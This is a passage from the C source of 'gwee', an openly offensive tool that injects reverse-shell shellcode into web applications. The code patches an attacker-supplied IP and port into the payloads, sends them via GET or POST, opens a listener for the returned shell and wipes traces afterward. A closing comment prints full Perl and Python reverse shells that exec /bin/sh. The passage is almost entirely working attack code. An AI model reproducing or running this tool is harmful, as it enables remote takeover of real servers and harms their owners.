2408 if (dowipeout)
2409 wipeout();
2410 thread_lock = 0;
2411 ExitThread(0);
2412 }
2413 #endif
2414
2415 /*** main() **********************************************************/
2416
2417 int main(int argc, char **argv) {
2418 #ifndef WIN32
2419 pid_t pid;
2420 #endif
2421
2422 while ((i = getopt(argc, argv, "hVy:z:GHl:p:b:s:i:I:T:a:vqLAt:fw:d:Pr")) != -1) {
2423 switch(i) {
2424 case 'h':
2425 usage();
2426 case 'V':
2427 print_banner_without_colors();
2428 exit(1);
2429 case 'y':
2430 y_opt = (char *)strdup(optarg);
2431 break;
2432 case 'z':
2433 z_opt = (char *)strdup(optarg);
2434 break;
2435 case 'G':
2436 httpget = 1;
2437 httpmethod = httpmethod_get;
2438 break;
2439 case 'H':
2440 httpget = 1;
2441 httpmethod = httpmethod_head;
2442 break;
2443 case 'l':
2444 listen_server = (char *)strdup(optarg);
2445 break;
2446 case 'p':
2447 lport = (unsigned int)atoi(optarg);
2448 break;
2449 case 'b':
2450 sourceport = (unsigned int)atoi(optarg);
2451 break;
2452 case 's':
2453 shellcode = (unsigned int)atoi(optarg);
2454 break;
2455 case 'i':
2456 injection_method = (unsigned int)atoi(optarg);
2457 break;
2458 case 'I':
2459 imprefix = (char *)strdup(optarg);
2460 break;
2461 case 'T':
2462 TMPFILE = (char *)strdup(optarg);
2463 break;
2464 case 'a':
2465 user_agent = (char *)strdup(optarg);
2466 break;
2467 case 'v':
2468 verbose = 1;
2469 break;
2470 case 'q':
2471 silent = 1;
2472 break;
2473 case 'L':
2474 builtin_listener = 1;
2475 break;
2476 case 'A':
2477 only_listen = 1;
2478 timeout = 0;
2479 break;
2480 case 't':
2481 timeout = (unsigned int)atoi(optarg);
2482 break;
2483 case 'f':
2484 force = 1;
2485 break;
2486 case 'w':
2487 wgeturl = (char *)strdup(optarg);
2488 break;
2489 case 'd':
2490 dumpout = (char *)strdup(optarg);
2491 break;
2492 case 'P':
2493 dowipeout = 0;
2494 break;
2495 case 'r':
2496 remove_sploit = 1;
2497 break;
2498 default:
2499 printf("type \"gwee -h\" for help.\n");
2500 return 1;
2501 }
2502 }
2503
2504 if (only_listen) {
2505 #ifdef WIN32
2506 /* initialize winsock first */
2507 init_winsock();
2508 #endif
2509 listener();
2510 #ifdef WIN32
2511 WSACleanup();
2512 #endif
2513 return 0;
2514 }
2515
2516
2517 if (optind < argc) {
2518 url = (char *)strdup(argv[optind]);
2519 }
2520
2521 /* check usage */
2522 if (!dumpout) { /* if the -d option was used, no need to specify a target url */
2523 if (!url) {
2524 printf("type \"gwee -h\" for help.\n");
2525 return 1;
2526 } else if (url[0] == 0) {
2527 printf("type \"gwee -h\" for help.\n");
2528 return 1;
2529 }
2530 }
2531
2532 /* print banner */
2533 if (!silent) {
2534 print_banner();
2535 }
2536
2537 if (dumpout && wgeturl) {
2538 fprintf(stderr, "[?] you can't use both -d and -w\n");
2539 return 1;
2540 }
2541
2542 if (dumpout) {
2543 if (dumpout[0] == 0) {
2544 fprintf(stderr, "[?] output file can't be zero-length\n");
2545 return 1;
2546 }
2547 }
2548
2549 /* check if the port is OK */
2550 if ((!lport) || (lport > 65535)) {
2551 fprintf(stderr, "[?] %u is an invalid port (must be between 1-65535)\n", lport);
2552 return 1;
2553 }
2554
2555 /* check if source port is OK, (sourceport can be 0 meaning no source porting is done) */
2556
2557 if (sourceport > 65535) {
2558 fprintf(stderr, "[?] %u is an invalid source port (must be between 1-65535)\n", sourceport);
2559 return 1;
2560 }
2561
2562
2563
2564 if (!dumpout) {
2565 /* check if -a, and if not, randomize user-agent */
2566 if (!user_agent) {
2567 /* randomize http user-agent string */
2568 #ifdef WIN32
2569 unsigned int fakeRand = time(NULL);
2570 fakeRand += getpid();
2571 srand(fakeRand);
2572 #else
2573 struct timeval tv;
2574 if (gettimeofday(&tv, NULL)) {
2575 fprintf(stderr, "[?] gettimeofday() failed: %s\n", strerror(errno));
2576 return 1;
2577 }
2578 srand((unsigned int)(tv.tv_sec + (tv.tv_usec * 100.0) + (unsigned int)getpid()));
2579 #endif
2580
2581 i = (unsigned int)((number_of_agents*1.0)*rand()/(RAND_MAX+1.0));
2582 user_agent = agents[i];
2583 }
2584
2585 /* print info about our victim (errhmm.. target) */
2586 if (!silent)
2587 print_target(url);
2588
2589 if (!silent) {
2590 /* print info about parsed url */
2591 if (!httpget)
2592 printf("[i] url: %s\n[i] POST data: %s*SC*%s\n", url, y_opt, z_opt);
2593 else
2594 printf("[i] url: %s%s*SC*%s\n", url, y_opt, z_opt);
2595 }
2596
2597 if (verbose && !silent) {
2598 printf("[i] shellcode file on target: %s\n", TMPFILE);
2599
2600 /* print user-agent string to be used */
2601 printf("[i] user-agent: %s\n", user_agent);
2602 }
2603 if (!silent) {
2604 if (!httpget)
2605 printf("[i] using POST requests to send data\n");
2606 else
2607 printf("[i] using %s requests to send data\n", httpmethod);
2608 }
2609 }
2610
2611 if (!dumpout) {
2612 /* check if we want to remove a previous sploit attempt */
2613 if (remove_sploit) {
2614 #ifdef WIN32
2615 /* initialize winsock first */
2616 init_winsock();
2617 #endif
2618
2619 #ifdef WITH_SSL
2620 if (!strncasecmp(url, "https://", 8)) {
2621 if (!silent)
2622 printf("[i] initializing OpenSSL library\n");
2623
2624 SSL_library_init();
2625 SSL_load_error_strings();
2626 sslmethod = SSLv23_client_method();
2627
2628 if (!(sslctx = SSL_CTX_new(sslmethod))) {
2629 if (!silent) {
2630 fprintf(stderr, "[?] SSL_CTX_new() failed!\n");
2631 }
2632 #ifdef WIN32
2633 WSACleanup();
2634 #endif
2635 return 1;
2636 }
2637 }
2638 #endif
2639
2640 /* we're on a removing spree... */
2641 wipeout();
2642 #ifdef WIN32
2643 WSACleanup();
2644 #endif
2645 return 0;
2646 }
2647 }
2648
2649 if (!wgeturl) { /* we only set up shellcode_p when not wgetting */
2650 /* set up the shellcode to use */
2651 if (shellcode == SABUSHELL_PERL) {
2652 shellcode_p = sabushell_perl;
2653 if (!silent)
2654 printf("[i] shellcode: Sabu's reverse Perl shellcode (portable)\n");
2655 } else if (shellcode == LINUX_SISHELL) {
2656 shellcode_p = linux_sishell;
2657 if (!silent)
2658 printf("[i] shellcode: Shadowinteger's sishell for x86 Linux\n");
2659 } else if (shellcode == FREEBSD_SISHELL) {
2660 shellcode_p = freebsd_sishell;
2661 if (!silent)
2662 printf("[i] shellcode: Shadowinteger's sishell for x86 FreeBSD\n");
2663 } else if (shellcode == NETBSD_SISHELL) {
2664 shellcode_p = netbsd_sishell;
2665 if (!silent)
2666 printf("[i] shellcode: Shadowinteger's sishell for x86 NetBSD\n");
2667 } else {
2668 shellcode_p = sabushell_python;
2669 if (!silent)
2670 printf("[i] shellcode: Sabu's reverse Python shellcode (portable)\n");
2671 }
2672 } else {
2673 if (!silent)
2674 printf("[i] shellcode from url: %s\n", wgeturl);
2675 }
2676
2677
2678 if (!dumpout) {
2679 if (!wgeturl) {
2680 /* print the injection method to use */
2681 if (injection_method == IM_PERL) {
2682 if (!silent)
2683 printf("[i] injection method: perl -e\n");
2684 } else if (injection_method == IM_PYTHON) {
2685 if (!silent)
2686 printf("[i] injection method: python -c\n");
2687 } else if (injection_method == IM_PRINTF) {
2688 if (!silent)
2689 printf("[i] injection method: printf\n");
2690 } else {
2691 if (!silent)
2692 printf("[i] injection method: echo -ne\n");
2693 }
2694 } else {
2695 if (!silent)
2696 printf("[i] injection method: wget\n");
2697 }
2698 }
2699
2700 #ifdef WIN32
2701 /* now it's time initialize winsock */
2702 if (!silent)
2703 printf("[+] initializing socket library\n");
2704 init_winsock();
2705 #endif
2706
2707 if (!wgeturl) {
2708 if (listen_server) {
2709 /* attacker has provided the -l option */
2710
2711 if (inet_addr(listen_server) != INADDR_NONE) {
2712 if (!silent)
2713 printf("[+] resolving %s into an ip address\n", listen_server);
2714 }
2715 if ((he = gethostbyname(listen_server)) == NULL) {
2716 fprintf(stderr, "[?] %s: %s\n", listen_server,
2717 #ifdef WIN32
2718 WSAstrerror(WSAGetLastError())
2719 #else
2720 hstrerror(h_errno)
2721 #endif
2722 );
2723 #ifdef WIN32
2724 WSACleanup();
2725 #endif
2726 return 1;
2727 }
2728 } else {
2729 /* attacker didn't provide the -l option, use local hostname instead */
2730 if (gethostname(buf, sizeof(buf))) {
2731 fprintf(stderr, "[?] gethostname(): %s\n",
2732 #ifdef WIN32
2733 WSAstrerror(WSAGetLastError())
2734 #else
2735 strerror(errno)
2736 #endif
2737 );
2738 #ifdef WIN32
2739 WSACleanup();
2740 #endif
2741 return 1;
2742 }
2743 if ((he = gethostbyname(buf)) == NULL) {
2744 fprintf(stderr, "[?] %s: %s\n", buf,
2745 #ifdef WIN32
2746 WSAstrerror(WSAGetLastError())
2747 #else
2748 hstrerror(h_errno)
2749 #endif
2750 );
2751 #ifdef WIN32
2752 WSACleanup();
2753 #endif
2754 return 1;
2755 }
2756 if (!silent) {
2757 printf("[i] using %s (%s) as listen server,\n"
2758 "[i] override with -l <hostname>\n",
2759 he->h_name, inet_ntoa(*((struct in_addr*)he->h_addr_list[0])));
2760 }
2761 }
2762
2763 if (he->h_length != 4) {
2764 fprintf(stderr, "[?] h_length is not 4, it's %u, i only understand ipv4 addresses\n", (unsigned int)he->h_length);
2765 #ifdef WIN32
2766 WSACleanup();
2767 #endif
2768 return 1;
2769 }
2770 binary_ip = ((uint32_t *)he->h_addr_list[0])[0];
2771 xored_ip = ((uint32_t *)he->h_addr_list[0])[0] ^ XOR;
2772
2773 /* save ip in ascii dot notation form */
2774 snprintf(ascii_ip, sizeof(ascii_ip), "%u.%u.%u.%u",
2775 ((uint8_t *)&binary_ip)[0] & 0xff,
2776 ((uint8_t *)&binary_ip)[1] & 0xff,
2777 ((uint8_t *)&binary_ip)[2] & 0xff,
2778 ((uint8_t *)&binary_ip)[3] & 0xff);
2779
2780 if (!silent)
2781 printf("[i] shellcode will connect to %s on port %u\n", ascii_ip, lport);
2782
2783 /*
2784 * start: conversion of IP into ascii-encoded hex
2785 */
2786
2787 /***************************/
2788 /* convert binary coded ip into ascii hex and inject it into sishell */
2789 /***************************/
2790
2791 /* use sprintf() to convert ip to hex */
2792 sprintf(buf, "\\x%02x\\x%02x\\x%02x\\x%02x",
2793 ((uint8_t *)&xored_ip)[0],
2794 ((uint8_t *)&xored_ip)[1],
2795 ((uint8_t *)&xored_ip)[2],
2796 ((uint8_t *)&xored_ip)[3]);
2797 memcpy((void *)&linux_sishell[linux_IP_OFFSET], buf, strlen(buf));
2798 memcpy((void *)&freebsd_sishell[freebsd_IP_OFFSET], buf, strlen(buf));
2799 memcpy((void *)&netbsd_sishell[netbsd_IP_OFFSET], buf, strlen(buf));
2800
2801 /* use sprintf() to convert port to hex */
2802 sprintf(buf, "\\x%02x\\x%02x",
2803 ((uint8_t *)&lport)[1], /* assume host sys is little-endian */
2804 ((uint8_t *)&lport)[0]);
2805 memcpy((void *)&linux_sishell[linux_PORT_OFFSET], buf, strlen(buf));
2806 memcpy((void *)&freebsd_sishell[freebsd_PORT_OFFSET], buf, strlen(buf));
2807 memcpy((void *)&netbsd_sishell[netbsd_PORT_OFFSET], buf, strlen(buf));
2808
2809 /***************************/
2810 /* start encoding ip+port for Sabu's Perl shellcode */
2811 /***************************/
2812
2813 /* start with ip address */
2814 snprintf(buf2, sizeof(buf2), "\"%s\"", ascii_ip);
2815
2816 /* calculate how many spaces we shall pad with */
2817 i = sabushell_perl_ipbuf_len - strlen(buf2);
2818 memset(&buf2[strlen(buf2)], 0x20, i);
2819
2820 /* convert buf2 into hex and inject it into sabushell */
2821 for (i = 0; i < sabushell_perl_ipbuf_len; i++) {
2822 sprintf(&buf[i*4], "\\x%02x", buf2[i]);
2823 }
2824 /* parse string into sabushell */
2825 memcpy(&sabushell_perl[sabushell_perl_ip_offset], buf, sabushell_perl_ipbuf_len*4);
2826
2827 /* now do port number */
2828 snprintf(buf2, sizeof(buf2), "%u", lport);
2829 i = sabushell_perl_portbuf_len - strlen(buf2);
2830 memset(&buf2[strlen(buf2)], 0x20, i);
2831 for (i = 0; i < sabushell_perl_portbuf_len; i++) {
2832 sprintf(&buf[i*4], "\\x%02x", buf2[i]);
2833 }
2834 memcpy(&sabushell_perl[sabushell_perl_port_offset], buf, sabushell_perl_portbuf_len*4);
2835
2836 /***************************/
2837 /* start encoding ip+port for Sabu's Python shellcode */
2838 /***************************/
2839
2840 /* produce ascii string for sabushell */
2841 snprintf(buf2, sizeof(buf2),
2842 "'%s',%u", ascii_ip, lport);
2843 /* calculate how many spaces we shall pad with */
2844 i = sabushell_python_ipbuf_len - strlen(buf2);
2845 /* pad with spaces */
2846 memset(&buf2[strlen(buf2)], 0x20, i);
2847
2848 /* convert buf2 into hex and inject it into sabushell */
2849
2850 for (i = 0; i < sabushell_python_ipbuf_len; i++) {
2851 sprintf(&buf[i*4], "\\x%02x", buf2[i]);
2852 }
2853 /* parse string into sabushell */
2854 memcpy(&sabushell_python[sabushell_python_ip_offset], buf, sabushell_python_ipbuf_len*4);
2855
2856 snprintf(buf, sizeof(buf),
2857 "perl -e \"print \\\"%s\\\"\"", sabushell_python);
2858
2859 /******* encoding of ip+port is done *********/
2860
2861 /* end of non-wgeturl */
2862 }
2863
2864 if (!dumpout && builtin_listener && !silent)
2865 printf("[i] will listen for incoming connection on port %u\n", lport);
2866
2867 if (dumpout && !wgeturl && !silent)
2868 printf("[i] dumping shellcode to file %s\n", dumpout);
2869
2870 if (sourceport && (!dumpout)) {
2871 if (!silent)
2872 printf("[i] http connections will land on target from source port %u\n", sourceport);
2873 }
2874
2875 #ifdef WITH_SSL
2876 if (!dumpout) {
2877 if (!strncasecmp(url, "https://", 8)) {
2878 if (!silent)
2879 printf("[i] initializing OpenSSL library\n");
2880
2881 SSL_library_init();
2882 SSL_load_error_strings();
2883 sslmethod = SSLv23_client_method();
2884
2885 if (!(sslctx = SSL_CTX_new(sslmethod))) {
2886 if (!silent) {
2887 fprintf(stderr, "[?] SSL_CTX_new() failed!\n");
2888 }
2889 #ifdef WIN32
2890 WSACleanup();
2891 #endif
2892 return 1;
2893 }
2894 }
2895 }
2896 #endif
2897
2898 #if ! defined WITHOUT_HINT
2899 if ((!silent) && (!dumpout)) {
2900 printf("[i] **hint** if you get a shell, try rrs -> http://www.cycom.se/dl/rrs\n");
2901 }
2902 #endif
2903
2904
2905 if ((!force) && (!silent)) {
2906 printf("[i] press return to continue... (disable this prompt with -f)");
2907 i = getc(stdin);
2908 }
2909
2910 /* if we want to generate shellcode, do it */
2911 if (dumpout && !wgeturl) { /* generate shellcode */
2912 FILE *filep;
2913 if (!(filep = fopen(dumpout, "w"))) {
2914 fprintf(stderr, "[?] error creating/truncating file %s: %s\n", dumpout, strerror(errno));
2915 #ifdef WIN32
2916 WSACleanup();
2917 #endif
2918 return 1;
2919 }
2920 if (!decodehex(shellcode_p, filep)) {
2921 fprintf(stderr, "[?] error trying to dump shellcode\n");
2922 #ifdef WIN32
2923 WSACleanup();
2924 #endif
2925 return 1;
2926 }
2927 if (fclose(filep)) {
2928 fprintf(stderr, "[?] error closing file %s: %s\n", dumpout, strerror(errno));
2929 #ifdef WIN32
2930 WSACleanup();
2931 #endif
2932 return 1;
2933 }
2934
2935 if (!silent)
2936 printf("[i] saved shellcode in %s\n", dumpout);
2937
2938 #ifdef WIN32
2939 WSACleanup();
2940 #endif
2941 return 0;
2942 }
2943
2944 /*** the moment is here... sploit it... ***/
2945 ping();
2946
2947 fflush(stdout);
2948 fflush(stderr);
2949
2950 if (!builtin_listener) {
2951 /* we don't fork and listen for an incoming connection */
2952 pong();
2953 if (dowipeout)
2954 wipeout();
2955 } else {
2956 #ifdef WIN32
2957 /* we create a thread and listen for incoming */
2958 DWORD ThreadId;
2959 HANDLE h;
2960
2961 thread_lock = 1;
2962
2963 h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) pongthread,
2964 NULL, 0, &ThreadId);
2965
2966 /* call listener() to bind, listen and accept incoming connection */
2967 listener();
2968
2969 if (verbose && !silent)
2970 printf("[i] waiting for child thread to terminate...\n");
2971
2972 if (h) {
2973 CloseHandle(h);
2974 while (thread_lock == 1) {
2975 Sleep(50);
2976 continue;
2977 }
2978 }
2979
2980 #else
2981 /* we fork and listen for incoming */
2982 pid = fork();
2983 if (pid < 0) {
2984 fprintf(stderr, "[?] fork(): %s\n", strerror(errno));
2985 return 1;
2986 } else if (pid) {
2987 /* parent */
2988
2989 /* install signal handler for SIGCHLD (to resolve [<defunct>] child process) */
2990 signal(SIGCHLD, signalhandler);
2991
2992 /* call listener() to bind, listen and accept incoming connection */
2993 listener();
2994 if (verbose && !silent)
2995 printf("[i] waiting for child process to terminate...\n");
2996 wait(0);
2997 exit(0);
2998 } else {
2999 /* child */
3000 silent = 1;
3001 /* close all descriptors in this thread, we won't need them */
3002 fclose(stdin);
3003 fclose(stdout);
3004 fclose(stderr);
3005 pong();
3006 if (dowipeout)
3007 wipeout();
3008 exit(0);
3009 }
3010 #endif
3011 }
3012
3013 #ifdef WIN32
3014 WSACleanup();
3015 #endif
3016 return 0;
3017 }
3018
3019 /******************************************************************************
3020 Source code to shellcode
3021 ******************************************************************************/
3022
3023
3024 /******************************************************************************
3025 * Sabu's <sabu@sentinix.org> reverse (connecting) Perl shellcode:
3026 *
3027
3028 #!/usr/bin/perl
3029 use Socket; use IO::Handle; use POSIX; $proto = getprotobyname('tcp'); socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto); $sin = sockaddr_in(7700 ,inet_aton("127.0.0.1" )); connect(Socket_Handle,$sin); dup2(Socket_Handle->fileno, 0); dup2(Socket_Handle->fileno, 1); dup2(Socket_Handle->fileno, 2); exec { "/bin/sh" } "";
3030
3031 */
3032
3033 /******************************************************************************
3034 * Sabu's <sabu@mad.scientist.com> reverse (connecting) Python shellcode:
3035
3036 #!/usr/bin/env python
3037 s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(('127.0.0.1',7700 ));__import__('os').dup2(s.fileno(),0);__import__('os').dup2(s.fileno(),1);__import__('os').dup2(s.fileno(),2);__import__('os').execl('/bin/sh','')
3038
3039 */
3040
3041 /******************************************************************************
3042 * Shadowinteger's sishell is distributed separately
3043 * http://cycom.se/dl/sishell
3044 */
3045
3046 /******************************************************************************
3047 that's it folks
3048 //Shadowinteger
3049 ******************************************************************************/
3050
3051